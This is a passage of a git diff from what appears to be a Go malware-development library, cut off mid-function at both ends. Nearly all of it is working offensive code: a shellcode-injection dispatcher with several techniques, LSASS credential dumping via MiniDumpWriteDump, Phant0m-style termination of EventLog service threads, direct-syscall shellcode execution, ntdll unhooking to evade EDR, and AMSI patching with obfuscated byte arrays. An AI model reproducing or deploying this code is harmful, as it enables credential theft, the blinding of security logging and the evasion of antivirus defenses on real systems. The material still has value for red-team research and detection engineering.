} else if (strings.ToLower(technique) == "createprocess") || (strings.ToLower(technique) == "3") {
|
||||
err := CreateProcess(shellcode, pid)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "enumsystemlocales") || (strings.ToLower(technique) == "4") {
|
||||
err := EnumSystemLocales(shellcode)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "enumsystemlocaleshalos") || (strings.ToLower(technique) == "5") {
|
||||
err := EnumSystemLocalesHalos(shellcode)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "fibers") || (strings.ToLower(technique) == "6") {
|
||||
err := Fibers(shellcode)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "queueuserapc") || (strings.ToLower(technique) == "7") {
|
||||
err := QueueUserApc(shellcode)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "uuidfromstring") || (strings.ToLower(technique) == "8") {
|
||||
err := UuidFromString(shellcode)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "etwpcreateetwthread") || (strings.ToLower(technique) == "9") {
|
||||
err := EtwpCreateEtwThread(shellcode)
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "rtlcreateuserthread") || (strings.ToLower(technique) == "10") {
|
||||
err := RtlCreateUserThread(shellcode, pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
} else {
|
||||
return errors.New("invalid shellcode injection technique!")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,75 +0,0 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/calebsargent/GoProcDump
|
||||
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
mproc "github.com/D3Ext/maldev/process"
|
||||
)
|
||||
|
||||
func DumpLsass(output string) error {
|
||||
err := ElevateProcessToken()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
all_lsass_pids, err := mproc.FindPidByName(string([]byte{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'}))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
lsass_pid := all_lsass_pids[0]
|
||||
|
||||
//set up Win32 APIs
|
||||
var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
|
||||
var MiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
|
||||
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
var OpenProcess = kernel32.NewProc("OpenProcess")
|
||||
var CreateFileW = kernel32.NewProc("CreateFileW")
|
||||
|
||||
// error not handle because it's unstable
|
||||
processHandle, _, _ := OpenProcess.Call(
|
||||
uintptr(0xFFFF),
|
||||
uintptr(1),
|
||||
uintptr(lsass_pid),
|
||||
)
|
||||
|
||||
// Create memory dump
|
||||
os.Create(output)
|
||||
|
||||
path, _ := syscall.UTF16PtrFromString(output)
|
||||
fileHandle, _, _ := CreateFileW.Call(
|
||||
uintptr(unsafe.Pointer(path)),
|
||||
syscall.GENERIC_WRITE,
|
||||
syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE,
|
||||
0,
|
||||
syscall.OPEN_EXISTING,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
ret, _, err := MiniDumpWriteDump.Call(
|
||||
uintptr(processHandle),
|
||||
uintptr(lsass_pid),
|
||||
uintptr(fileHandle),
|
||||
0x00061907,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
os.Remove(output)
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,184 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func GetEventLogPid() (uint32, error) {
|
||||
var ssp windows.SERVICE_STATUS_PROCESS
|
||||
var dwBytesNeeded uint32
|
||||
|
||||
scm, err := windows.OpenSCManager(
|
||||
nil,
|
||||
nil,
|
||||
windows.SERVICE_QUERY_STATUS,
|
||||
)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
eventlog, _ := syscall.UTF16PtrFromString("EventLog")
|
||||
svc, err := windows.OpenService(
|
||||
scm,
|
||||
eventlog,
|
||||
windows.SERVICE_QUERY_STATUS,
|
||||
)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
err = windows.QueryServiceStatusEx(
|
||||
svc,
|
||||
windows.SC_STATUS_PROCESS_INFO,
|
||||
(*byte)(unsafe.Pointer(&ssp)),
|
||||
uint32(unsafe.Sizeof(ssp)),
|
||||
&dwBytesNeeded,
|
||||
)
|
||||
if err != nil {
|
||||
windows.CloseServiceHandle(svc)
|
||||
windows.CloseServiceHandle(scm)
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return ssp.ProcessId, nil
|
||||
}
|
||||
|
||||
// Recommended function
|
||||
func Phant0m(eventlog_pid uint32) error {
|
||||
return phant0m(eventlog_pid, false)
|
||||
}
|
||||
|
||||
// This function does the same but also prints threads IDs
|
||||
func Phant0mWithOutput(eventlog_pid uint32) error {
|
||||
return phant0m(eventlog_pid, true)
|
||||
}
|
||||
|
||||
// Main function
|
||||
func phant0m(eventlog_pid uint32, verbose bool) error {
|
||||
err := ElevateProcessToken()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
NtQueryInformationThread := ntdll.NewProc("NtQueryInformationThread")
|
||||
|
||||
advapi32 := windows.NewLazyDLL("advapi32.dll")
|
||||
I_QueryTagInformation := advapi32.NewProc("I_QueryTagInformation")
|
||||
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
OpenThread := kernel32.NewProc("OpenThread")
|
||||
OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
TerminateThread := kernel32.NewProc("TerminateThread")
|
||||
CloseHandle := kernel32.NewProc("CloseHandle")
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
CreateToolhelp32Snapshot := kernel32.NewProc("CreateToolhelp32Snapshot")
|
||||
Thread32First := kernel32.NewProc("Thread32First")
|
||||
|
||||
var hThreads uintptr
|
||||
hThreads, _, _ = CreateToolhelp32Snapshot.Call(
|
||||
windows.TH32CS_SNAPTHREAD,
|
||||
0,
|
||||
)
|
||||
|
||||
if hThreads == 0 {
|
||||
return errors.New("An error has occurred calling CreateToolhelp32Snapshot")
|
||||
}
|
||||
|
||||
tbi := PTHREAD_BASIC_INFORMATION{}
|
||||
te32 := windows.ThreadEntry32{}
|
||||
te32.Size = uint32(unsafe.Sizeof(te32))
|
||||
|
||||
Thread32First.Call(
|
||||
hThreads,
|
||||
uintptr(unsafe.Pointer(&te32)),
|
||||
)
|
||||
|
||||
for true {
|
||||
if te32.OwnerProcessID == eventlog_pid {
|
||||
hEvtThread, _, _ := OpenThread.Call(
|
||||
windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE,
|
||||
uintptr(0),
|
||||
uintptr(te32.ThreadID),
|
||||
)
|
||||
|
||||
if hEvtThread == 0 {
|
||||
return errors.New("An error has occurred calling OpenThread")
|
||||
}
|
||||
|
||||
NtQueryInformationThread.Call(
|
||||
uintptr(hEvtThread),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tbi)),
|
||||
0x30,
|
||||
0,
|
||||
)
|
||||
|
||||
hEvtProcess, _, _ := OpenProcess.Call(
|
||||
windows.PROCESS_VM_READ,
|
||||
uintptr(0),
|
||||
uintptr(te32.OwnerProcessID),
|
||||
)
|
||||
|
||||
if hEvtProcess == 0 {
|
||||
fmt.Println("2")
|
||||
return errors.New("An error has occurred calling OpenProcess")
|
||||
}
|
||||
|
||||
if tbi.pTebBaseAddress != 0 {
|
||||
scTagQuery := SC_SERVICE_TAG_QUERY{}
|
||||
|
||||
var hTag byte
|
||||
var pN uintptr
|
||||
ReadProcessMemory.Call(
|
||||
hEvtProcess,
|
||||
tbi.pTebBaseAddress+0x1720,
|
||||
uintptr(unsafe.Pointer(&hTag)),
|
||||
unsafe.Sizeof(pN),
|
||||
0,
|
||||
)
|
||||
|
||||
scTagQuery.processId = te32.OwnerProcessID
|
||||
scTagQuery.serviceTag = uint32(hTag)
|
||||
|
||||
I_QueryTagInformation.Call(
|
||||
0,
|
||||
1, // ServiceNameFromTagInformation
|
||||
uintptr(unsafe.Pointer(&scTagQuery)),
|
||||
)
|
||||
|
||||
if scTagQuery.pBuffer != nil {
|
||||
if verbose {
|
||||
fmt.Println(" Thread found:", te32.ThreadID)
|
||||
}
|
||||
|
||||
TerminateThread.Call(
|
||||
uintptr(hEvtThread),
|
||||
0,
|
||||
)
|
||||
}
|
||||
|
||||
CloseHandle.Call(hEvtThread)
|
||||
CloseHandle.Call(hEvtProcess)
|
||||
}
|
||||
}
|
||||
|
||||
err := windows.Thread32Next(
|
||||
windows.Handle(hThreads),
|
||||
&te32,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle.Call(hThreads)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,81 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Receives function address and arguments
|
||||
func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) {
|
||||
errcode = bpSyscall(callid, argh...)
|
||||
|
||||
if errcode != 0 {
|
||||
err = fmt.Errorf("non-zero return from syscall")
|
||||
}
|
||||
|
||||
return errcode, err
|
||||
}
|
||||
|
||||
func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32)
|
||||
|
||||
func Execute(shellcode []byte) error {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
|
||||
// Allocate memory
|
||||
addr, _, _ := VirtualAlloc.Call(
|
||||
0,
|
||||
uintptr(len(shellcode)),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE,
|
||||
windows.PAGE_READWRITE,
|
||||
)
|
||||
|
||||
if addr == 0 {
|
||||
return fmt.Errorf("VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
RtlCopyMemory.Call(
|
||||
addr,
|
||||
(uintptr)(unsafe.Pointer(&shellcode[0])),
|
||||
uintptr(len(shellcode)),
|
||||
)
|
||||
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
// Protect memory
|
||||
VirtualProtect.Call(
|
||||
addr,
|
||||
uintptr(len(shellcode)),
|
||||
windows.PAGE_EXECUTE_READ,
|
||||
uintptr(unsafe.Pointer(&oldProtect)),
|
||||
)
|
||||
|
||||
// Execute shellcode
|
||||
_, _, errSyscall := syscall.Syscall(
|
||||
addr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if errSyscall != 0 {
|
||||
return fmt.Errorf("Error executing shellcode syscall: %s", errSyscall.Error())
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func WriteMemory(inbuf []byte, destination uintptr) {
|
||||
for index := uint32(0); index < uint32(len(inbuf)); index++ {
|
||||
writePtr := unsafe.Pointer(destination + uintptr(index))
|
||||
v := (*byte)(writePtr)
|
||||
*v = inbuf[index]
|
||||
}
|
||||
}
|
||||
@@ -1,239 +0,0 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
References:
|
||||
https://github.com/RedLectroid/APIunhooker
|
||||
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
// This function unhooks given functions of especified dll
|
||||
func ClassicUnhook(funcnames []string, dllpath string) error {
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
GetModuleHandle := kernel32.NewProc("GetModuleHandleW")
|
||||
GetProcAddress := kernel32.NewProc("GetProcAddress")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
|
||||
// should be full path: C:\\Windows\\System32\\ntdll.dll
|
||||
lib, _ := syscall.LoadLibrary(dllpath)
|
||||
defer syscall.FreeLibrary(lib)
|
||||
|
||||
for _, f := range funcnames {
|
||||
var assembly_bytes []byte
|
||||
|
||||
procAddr, _ := syscall.GetProcAddress(lib, f)
|
||||
|
||||
ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr))
|
||||
funcBytes := ptr_bytes[:5:5]
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
assembly_bytes = append(assembly_bytes, funcBytes[i])
|
||||
}
|
||||
|
||||
pHandle, _, _ := GetCurrentProcess.Call()
|
||||
|
||||
// Convert dll name to pointer
|
||||
lib_ptr, _ := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
|
||||
moduleHandle, _, _ := GetModuleHandle.Call(uintptr(unsafe.Pointer(lib_ptr)))
|
||||
|
||||
func_ptr, _ := windows.UTF16PtrFromString(f)
|
||||
addr, _, _ := GetProcAddress.Call(
|
||||
moduleHandle,
|
||||
uintptr(unsafe.Pointer(func_ptr)),
|
||||
)
|
||||
|
||||
// Overwrite address with original function bytes
|
||||
WriteProcessMemory.Call(
|
||||
pHandle,
|
||||
addr,
|
||||
uintptr(unsafe.Pointer(&assembly_bytes[0])),
|
||||
5,
|
||||
uintptr(0),
|
||||
)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write to function address: 0x90, 0x90, 0x4c, 0x8b, 0xd1, 0xb8, 0xc1, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
|
||||
func PatchUnhook(func_to_unhook string) error {
|
||||
|
||||
return nil // TODO
|
||||
}
|
||||
|
||||
// Load fresh DLL copy in memory
|
||||
func FullUnhook(dllpath string) error {
|
||||
|
||||
ntdll := syscall.NewLazyDLL("ntdll.dll")
|
||||
ProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
|
||||
|
||||
dll_f, err := ioutil.ReadFile(dllpath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
pe_f, err := pe.Open(dllpath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pe_f.Close()
|
||||
|
||||
text_section := pe_f.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
|
||||
dllBytes := dll_f[text_section.Offset:text_section.Size]
|
||||
|
||||
dll_load, err := windows.LoadDLL(dllpath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
handle := dll_load.Handle
|
||||
dllBase := uintptr(handle)
|
||||
dllOffset := uint(dllBase) + uint(text_section.VirtualAddress)
|
||||
|
||||
var oldfartcodeperms uintptr
|
||||
regionsize := uintptr(len(dllBytes))
|
||||
handlez := uintptr(0xffffffffffffffff)
|
||||
|
||||
runfunc, _, _ := ProtectVirtualMemory.Call(
|
||||
handlez,
|
||||
uintptr(unsafe.Pointer(&dllOffset)),
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
syscall.PAGE_EXECUTE_READWRITE,
|
||||
uintptr(unsafe.Pointer(&oldfartcodeperms)),
|
||||
)
|
||||
|
||||
if runfunc != uintptr(windows.STATUS_SUCCESS) {
|
||||
return fmt.Errorf("An error has occurred, ProtectVirtualMemory returned: %x\n", runfunc)
|
||||
}
|
||||
|
||||
for i := 0; i < len(dllBytes); i++ {
|
||||
loc := uintptr(dllOffset + uint(i))
|
||||
mem := (*[1]byte)(unsafe.Pointer(loc))
|
||||
(*mem)[0] = dllBytes[i]
|
||||
}
|
||||
|
||||
runfunc, _, _ = ProtectVirtualMemory.Call(
|
||||
handlez,
|
||||
uintptr(unsafe.Pointer(&dllOffset)),
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
oldfartcodeperms,
|
||||
uintptr(unsafe.Pointer(&oldfartcodeperms)),
|
||||
)
|
||||
|
||||
if runfunc != 0 {
|
||||
return errors.New("an error has occurred")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func PerunsUnhook() error {
|
||||
WriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
|
||||
|
||||
var si syscall.StartupInfo
|
||||
var pi syscall.ProcessInformation
|
||||
si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{}))
|
||||
|
||||
cmdline, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = syscall.CreateProcess(
|
||||
nil,
|
||||
cmdline,
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
windows.CREATE_NEW_CONSOLE|windows.CREATE_SUSPENDED,
|
||||
nil,
|
||||
nil,
|
||||
&si,
|
||||
&pi,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
time.Sleep(800 * time.Millisecond)
|
||||
|
||||
ntd, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
|
||||
if ntd == 0 {
|
||||
return errors.New("an error has occurred while loading ntdll.dll")
|
||||
}
|
||||
addrMod := ntd
|
||||
|
||||
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(addrMod + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(addrMod)).E_lfanew)))
|
||||
if ntHeader == nil {
|
||||
return errors.New("an error has occurred while getting NT header")
|
||||
}
|
||||
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
modSize := ntHeader.OptionalHeader.SizeOfImage
|
||||
if modSize == 0 {
|
||||
return errors.New("an error has occurred while getting NT header size")
|
||||
}
|
||||
|
||||
cache := make([]byte, modSize)
|
||||
var lpNumberOfBytesRead uintptr
|
||||
|
||||
err = windows.ReadProcessMemory(
|
||||
windows.Handle(uintptr(pi.Process)),
|
||||
addrMod,
|
||||
&cache[0],
|
||||
uintptr(modSize),
|
||||
&lpNumberOfBytesRead,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
e := syscall.TerminateProcess(pi.Process, 0)
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
pe0, err := pe.NewFileFromMemory(bytes.NewReader(cache))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
secHdr := pe0.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
|
||||
|
||||
startOffset := findFirstSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
|
||||
endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
|
||||
cleanSyscalls := cache[startOffset:endOffset]
|
||||
|
||||
// Don't handle error as it may return false errors
|
||||
WriteProcessMemory.Call(
|
||||
uintptr(0xffffffffffffffff),
|
||||
uintptr(addrMod+uintptr(startOffset)),
|
||||
uintptr(unsafe.Pointer(&cleanSyscalls[0])),
|
||||
uintptr(len(cleanSyscalls)),
|
||||
0,
|
||||
)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,94 +0,0 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
This file contains some useful functions which
|
||||
act as a wrapper for native function so you can use them
|
||||
like kernel32.dll original functions but using native ones
|
||||
under the hood with Halo's Gate technique
|
||||
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// addr, err := VirtualAlloc(pHandle, 0, uintptr(len(shellcode)), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
func VirtualAlloc(handle uintptr, zero uintptr, regionsize uintptr, allocType uintptr, allocProtection uintptr) (uintptr, error) {
|
||||
|
||||
// Get syscall
|
||||
sysId, err := GetSysId("NtAllocateVirtualMemory")
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
var baseA uintptr
|
||||
r, _ := Syscall(
|
||||
sysId,
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&baseA)),
|
||||
zero,
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
allocType,
|
||||
allocProtection,
|
||||
)
|
||||
|
||||
if r != 0 {
|
||||
return 0, errors.New("NtAllocateVirtualMemory syscall returned non-zero error code")
|
||||
}
|
||||
|
||||
return baseA, nil
|
||||
}
|
||||
|
||||
// err := VirtualProtect(pHandle, &addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
func VirtualProtect(pHandle uintptr, addr uintptr, regionsize uintptr, newProtect uintptr, oldProtect uintptr) error {
|
||||
|
||||
// Get syscall
|
||||
sysId, err := GetSysId("NtProtectVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
r, _ := Syscall(
|
||||
sysId,
|
||||
uintptr(pHandle),
|
||||
uintptr(addr),
|
||||
uintptr(unsafe.Pointer(®ionsize)),
|
||||
uintptr(newProtect),
|
||||
uintptr(oldProtect),
|
||||
)
|
||||
|
||||
if r != 0 {
|
||||
return errors.New("NtProtectVirtualMemory syscall returned non-zero error code")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// err := WriteProcessMemory(pHandle, addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
func WriteProcessMemory(pHandle uintptr, addr uintptr, buffer uintptr, buffer_len uintptr) error {
|
||||
|
||||
// Get syscall
|
||||
sysId, err := GetSysId("NtWriteVirtualMemory")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var num_bytes uint32
|
||||
|
||||
r, err := Syscall(
|
||||
sysId,
|
||||
uintptr(pHandle),
|
||||
uintptr(addr),
|
||||
uintptr(buffer),
|
||||
uintptr(buffer_len),
|
||||
uintptr(unsafe.Pointer(&num_bytes)),
|
||||
)
|
||||
|
||||
if (r != 0) || (err != nil) {
|
||||
return errors.New("NtWriteVirtualMemory syscall returned non-zero error code")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package core
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"errors"
|
||||
@@ -27,7 +27,7 @@ type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct {
|
||||
}
|
||||
|
||||
func EnableACG() error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
|
||||
SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy")
|
||||
|
||||
var ProcessDynamicCodePolicy int32 = 2
|
||||
@@ -0,0 +1,88 @@
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
|
||||
|
||||
func PatchAmsi() error {
|
||||
AmsiScanBuffer := windows.NewLazyDLL("ntdll.dll").NewProc("AmsiScanBuffer")
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
|
||||
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
|
||||
|
||||
baseAddress := AmsiScanBuffer.Addr()
|
||||
numberOfBytesToProtect := uintptr(len(amsi_patch))
|
||||
var oldProtect uintptr
|
||||
|
||||
r1, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
NtWriteVirtualMemory.Call(uintptr(0xffffffffffffffff), AmsiScanBuffer.Addr(), uintptr(unsafe.Pointer(&amsi_patch[0])), unsafe.Sizeof(amsi_patch), 0)
|
||||
|
||||
r2, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func PatchAmsi2() error {
|
||||
kernel32 := windows.NewLazyDLL("kernel32.dll")
|
||||
//OpenProcess := kernel32.NewProc("OpenProcess")
|
||||
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
|
||||
|
||||
ntdll := windows.NewLazyDLL("ntdll.dll")
|
||||
NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
|
||||
NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
|
||||
|
||||
amsi := windows.NewLazyDLL("amsi.dll")
|
||||
AmsiOpenSession := amsi.NewProc("Am" + "siOp" + "enS" + "essi" + "on")
|
||||
|
||||
patch := []byte{0x75}
|
||||
|
||||
var oldProtect uint32
|
||||
var memPage uintptr = 0x1000
|
||||
|
||||
pHandle, _, _ := GetCurrentProcess.Call()
|
||||
// this can be modified to allow remote process AMSI patching
|
||||
//pHandle, _, _ := OpenProcess.Call(windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE, uintptr(0), uintptr(pid))
|
||||
|
||||
addr := AmsiOpenSession.Addr()
|
||||
addr2 := AmsiOpenSession.Addr()
|
||||
|
||||
for i := 0; i < 1024; i++ {
|
||||
if *(*byte)(unsafe.Pointer(addr + uintptr(i))) == 0x74 {
|
||||
addr = addr + uintptr(1)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
r1, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&memPage)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r1 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
for i := 0; i < 1024; i++ {
|
||||
if *(*byte)(unsafe.Pointer(addr2 + uintptr(i))) == 0x74 {
|
||||
addr2 = addr2 + uintptr(1)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
var regionsize uintptr
|
||||
NtWriteVirtualMemory.Call(uintptr(pHandle), addr2, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), uintptr(unsafe.Pointer(®ionsize)))
|
||||
|
||||
r2, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr2)), uintptr(unsafe.Pointer(&memPage)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if r2 != 0 {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
package evasion
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"golang.org/x/sys/windows"
|
||||
"unsafe"
|
||||
"errors"
|
||||
)
|
||||
|
||||
/*
|
||||
|
||||
typedef struct _PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY {
|
||||
union {
|
||||
DWORD Flags;
|
||||
struct {
|
||||
DWORD MicrosoftSignedOnly : 1;
|
||||
DWORD StoreSignedOnly : 1;
|
||||
DWORD MitigationOptIn : 1;
|
||||
DWORD AuditMicrosoftSignedOnly : 1;
|
||||
DWORD AuditStoreSignedOnly : 1;
|
||||
DWORD ReservedFlags : 27;
|
||||
} DUMMYSTRUCTNAME;
|
||||
} DUMMYUNIONNAME;
|
||||
} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY, *PPROCESS_MITIGATION_BINARY_SIGNATURE_POLICY;
|
||||
|
||||
*/
|
||||
|
||||
type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
// block non Microsoft-signed DLLs to inject in current process
|
||||
func BlockDLLs() error {
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
